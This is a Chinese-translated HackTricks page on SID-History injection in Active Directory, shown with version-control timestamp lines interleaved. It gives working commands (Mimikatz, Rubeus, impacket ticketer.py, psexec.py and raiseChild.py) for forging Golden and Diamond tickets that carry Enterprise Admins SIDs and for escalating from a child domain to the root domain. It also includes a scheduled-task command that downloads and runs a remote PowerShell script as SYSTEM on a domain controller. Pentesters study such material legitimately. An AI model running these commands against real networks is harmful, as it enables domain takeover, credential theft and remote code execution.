2023-08-03 19:12:22 +00:00
|
|
|
|
# SID-History注入
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 攻击
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
SID History旨在支持迁移场景,其中用户将从一个域移动到另一个域。为了保留对“旧”域中资源的访问权限,**用户的先前SID将被添加到其新帐户的SID History中**。因此,当创建这样的票证时,可以添加父域中特权组(EAs、DAs等)的SID,这将**授予对父域中所有资源的访问权限**。
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
这可以通过使用[**Golden票证**](sid-history-injection.md#golden-ticket)或[**Diamond票证**](sid-history-injection.md#diamond-ticket)来实现。
|
2022-09-04 09:37:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
要找到**"Enterprise Admins"**组的**SID**,可以找到**根域**的**SID**并将其设置为`S-1-5-21-<root domain>-519`。例如,从根域SID `S-1-5-21-280534878-1496970234-700767426`,**"Enterprise Admins"**组的SID是`S-1-5-21-280534878-1496970234-700767426-519`。
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
您还可以使用**Domain Admins**组,其以**512**结尾。
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
另一种找到其他域的组(例如"Domain Admins")的SID的方法是:
|
2022-08-15 21:10:48 +00:00
|
|
|
|
```powershell
|
|
|
|
|
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 使用KRBTGT-AES256的黄金票据(Mimikatz)
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2022-10-06 09:16:41 +00:00
|
|
|
|
{% code overflow="wrap" %}
|
2022-09-04 09:37:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
|
|
|
|
|
|
2022-10-06 09:16:41 +00:00
|
|
|
|
/user is the username to impersonate (could be anything)
|
2022-09-04 09:37:14 +00:00
|
|
|
|
/domain is the current domain.
|
|
|
|
|
/sid is the current domain SID.
|
|
|
|
|
/sids is the SID of the target group to add ourselves to.
|
|
|
|
|
/aes256 is the AES256 key of the current domain's krbtgt account.
|
2022-10-06 09:16:41 +00:00
|
|
|
|
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
|
2022-09-04 09:37:14 +00:00
|
|
|
|
/startoffset sets the start time of the ticket to 10 mins before the current time.
|
|
|
|
|
/endin sets the expiry date for the ticket to 60 mins.
|
|
|
|
|
/renewmax sets how long the ticket can be valid for if renewed.
|
|
|
|
|
|
|
|
|
|
# The previous command will generate a file called ticket.kirbi
|
|
|
|
|
# Just loading you can perform a dcsync attack agains the domain
|
2022-08-15 21:10:48 +00:00
|
|
|
|
```
|
2022-10-06 09:16:41 +00:00
|
|
|
|
{% endcode %}
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
有关黄金票据的更多信息,请查看:
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
|
|
|
|
{% content-ref url="golden-ticket.md" %}
|
|
|
|
|
[golden-ticket.md](golden-ticket.md)
|
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 钻石票据(Rubeus + KRBTGT-AES256)
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2022-10-06 09:16:41 +00:00
|
|
|
|
{% code overflow="wrap" %}
|
2022-08-15 21:10:48 +00:00
|
|
|
|
```powershell
|
|
|
|
|
# Use the /sids param
|
|
|
|
|
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
|
|
|
|
# Or a ptt with a golden ticket
|
|
|
|
|
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
|
|
|
|
|
|
|
|
|
|
# You can use "Administrator" as username or any other string
|
2022-08-15 21:10:48 +00:00
|
|
|
|
```
|
2022-10-06 09:16:41 +00:00
|
|
|
|
{% endcode %}
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
有关钻石票的更多信息,请查看:
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
|
|
|
|
{% content-ref url="diamond-ticket.md" %}
|
|
|
|
|
[diamond-ticket.md](diamond-ticket.md)
|
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
2022-10-06 09:16:41 +00:00
|
|
|
|
{% code overflow="wrap" %}
|
2022-08-15 21:10:48 +00:00
|
|
|
|
```bash
|
2023-08-03 19:12:22 +00:00
|
|
|
|
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
|
2022-08-15 21:10:48 +00:00
|
|
|
|
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
|
|
|
|
|
ls \\mcorp-dc.moneycorp.local\c$
|
|
|
|
|
```
|
2022-10-06 09:16:41 +00:00
|
|
|
|
{% endcode %}
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
使用被入侵域的KRBTGT哈希提升为根或企业管理员:
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2022-10-06 09:16:41 +00:00
|
|
|
|
{% code overflow="wrap" %}
|
2022-08-15 21:10:48 +00:00
|
|
|
|
```bash
|
|
|
|
|
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
2022-08-15 21:10:48 +00:00
|
|
|
|
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
2022-08-15 21:10:48 +00:00
|
|
|
|
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
2022-08-15 21:10:48 +00:00
|
|
|
|
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
2022-08-15 21:10:48 +00:00
|
|
|
|
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
|
|
|
|
|
```
|
2022-10-06 09:16:41 +00:00
|
|
|
|
{% endcode %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
通过攻击获得的权限,您可以在新域中执行例如DCSync攻击:
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
|
|
|
|
{% content-ref url="dcsync.md" %}
|
|
|
|
|
[dcsync.md](dcsync.md)
|
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 从Linux开始
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 使用[ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)手动操作
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
|
|
|
|
{% code overflow="wrap" %}
|
|
|
|
|
```bash
|
|
|
|
|
# This is for an attack from child to root domain
|
|
|
|
|
# Get child domain SID
|
|
|
|
|
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
|
|
|
|
|
# Get root domain SID
|
|
|
|
|
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
|
|
|
|
|
|
|
|
|
|
# Generate golden ticket
|
|
|
|
|
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
|
|
|
|
|
|
|
|
|
|
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
|
|
|
|
|
# JUST USE THE SAME USERNAME IN THE NEXT STEPS
|
|
|
|
|
|
|
|
|
|
# Load ticket
|
2023-08-03 19:12:22 +00:00
|
|
|
|
export KRB5CCNAME=hacker.ccache
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
|
|
|
|
# psexec in domain controller of root
|
|
|
|
|
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
|
|
|
|
|
```
|
|
|
|
|
{% endcode %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 使用[raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)自动化
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
这是一个Impacket脚本,可以**自动从子域升级到父域**。脚本需要:
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 目标域控制器
|
|
|
|
|
* 子域中管理员用户的凭证
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
流程如下:
|
2022-10-06 09:16:41 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 获取父域的Enterprise Admins组的SID
|
|
|
|
|
* 检索子域中KRBTGT帐户的哈希值
|
|
|
|
|
* 创建一个Golden Ticket
|
|
|
|
|
* 登录到父域
|
|
|
|
|
* 检索父域中Administrator帐户的凭证
|
|
|
|
|
* 如果指定了`target-exec`开关,则通过Psexec验证到父域的域控制器。
|
2022-10-06 09:16:41 +00:00
|
|
|
|
```bash
|
|
|
|
|
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 参考资料
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2022-10-04 14:21:27 +00:00
|
|
|
|
* [https://studylib.net/doc/25696115/crto](https://studylib.net/doc/25696115/crto)
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2022-10-04 14:21:27 +00:00
|
|
|
|
<details>
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-08-15 21:10:48 +00:00
|
|
|
|
|
|
|
|
|
</details>
|